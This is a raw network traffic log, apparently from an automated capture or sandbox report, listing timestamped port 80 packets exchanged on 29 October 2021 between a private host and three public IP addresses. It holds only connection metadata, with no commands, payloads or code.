Oct 29, 2021 20:30:03.107417107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107441902 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107455015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107458115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107481956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107494116 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107506037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107528925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107544899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107556105 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107592106 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107599974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107631922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107655048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107671976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.107700109 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.107737064 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.108184099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108217955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108242989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108264923 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108289003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108288050 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.108311892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108330965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108339071 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.108366966 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.108659029 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108692884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108716965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108727932 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.108736992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.108776093 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.114414930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121752024 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121797085 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121823072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121848106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121872902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121896982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121920109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121943951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121946096 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.121968985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.121969938 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.121973991 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.121984959 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.121994019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122016907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122039080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122061968 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122081041 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122085094 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122087955 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122107983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122132063 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122154951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122179985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122194052 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122200966 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122205019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122227907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122253895 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122266054 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122272015 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122277021 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122301102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122324944 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122347116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122358084 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122364044 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122373104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122397900 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122421980 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122446060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122447968 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122469902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122493982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122503042 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122508049 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122517109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122540951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122564077 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122587919 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122601986 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122608900 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122617006 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122644901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122669935 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122694016 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122718096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122730970 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122739077 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122744083 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122767925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122792959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122817039 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122828960 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122836113 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122839928 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122863054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122888088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122896910 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122903109 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.122910976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122935057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122960091 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.122984886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123002052 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123008013 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123009920 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123035908 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123059988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123083115 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123100042 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123106956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123107910 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123131990 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123157024 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123183966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123198032 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123203993 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123208046 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123233080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123256922 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123281002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123301029 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123306990 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123308897 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123332024 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123356104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123380899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123392105 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123398066 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123404026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123429060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123455048 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123478889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123492956 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123498917 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123503923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123529911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123554945 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123580933 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123594046 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123600960 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123614073 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123627901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123652935 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123677969 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123692989 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123699903 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123703003 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123727083 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123749018 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123750925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123754025 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123774052 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123795986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123814106 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123821020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123836994 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123846054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123872042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123881102 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123897076 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123922110 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.123945951 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.123971939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.123987913 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.123996973 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.123997927 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.124016047 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.124022961 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124057055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124068975 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124095917 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124120951 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124146938 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124166012 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124172926 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124186039 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124197960 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124223948 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124233961 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124248981 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124269009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124289989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124313116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124329090 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124336004 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124358892 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124361992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124376059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124386072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124411106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124417067 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124433994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124458075 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124465942 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124485970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124490023 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124497890 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124532938 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124543905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124568939 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124589920 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124591112 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124594927 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124617100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124639988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124663115 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124680042 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124686956 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124691963 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124712944 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124737978 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124761105 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124767065 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124784946 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124803066 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124814034 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124826908 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124830008 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124870062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124893904 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124918938 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124938965 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124943972 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124960899 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124967098 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.124984026 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.124991894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125015974 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125044107 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125056982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125082016 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125087023 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125102997 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125106096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125122070 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125128984 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125152111 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125175953 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125200033 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125205040 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125230074 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125231028 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125253916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125277042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125298977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125307083 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125324011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125334024 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125349045 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125368118 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125391960 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125415087 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125428915 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125433922 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125438929 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125461102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125468969 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125484943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125507116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125507116 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125530005 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125550985 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125555992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125586033 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125612020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125624895 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125636101 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125660896 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125674009 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125685930 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125709057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125732899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125746012 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125756025 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125778913 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125797033 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.125808001 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125812054 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125821114 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125847101 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125869989 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125894070 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125912905 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125916958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125917912 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.125942945 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125962973 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.125992060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126003027 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126015902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126044989 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126049042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126059055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126065969 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126076937 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126100063 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126100063 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126122952 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126144886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126168966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126188040 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126190901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126204967 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126214027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126226902 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126235962 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126259089 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126280069 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126298904 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126302004 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126323938 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126344919 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126368999 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126389027 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126389980 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126394033 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126414061 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126437902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126455069 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126460075 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126463890 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126487970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126513004 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126538992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126555920 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126563072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126576900 CEST	80	49877	193.56.146.214	192.168.2.3
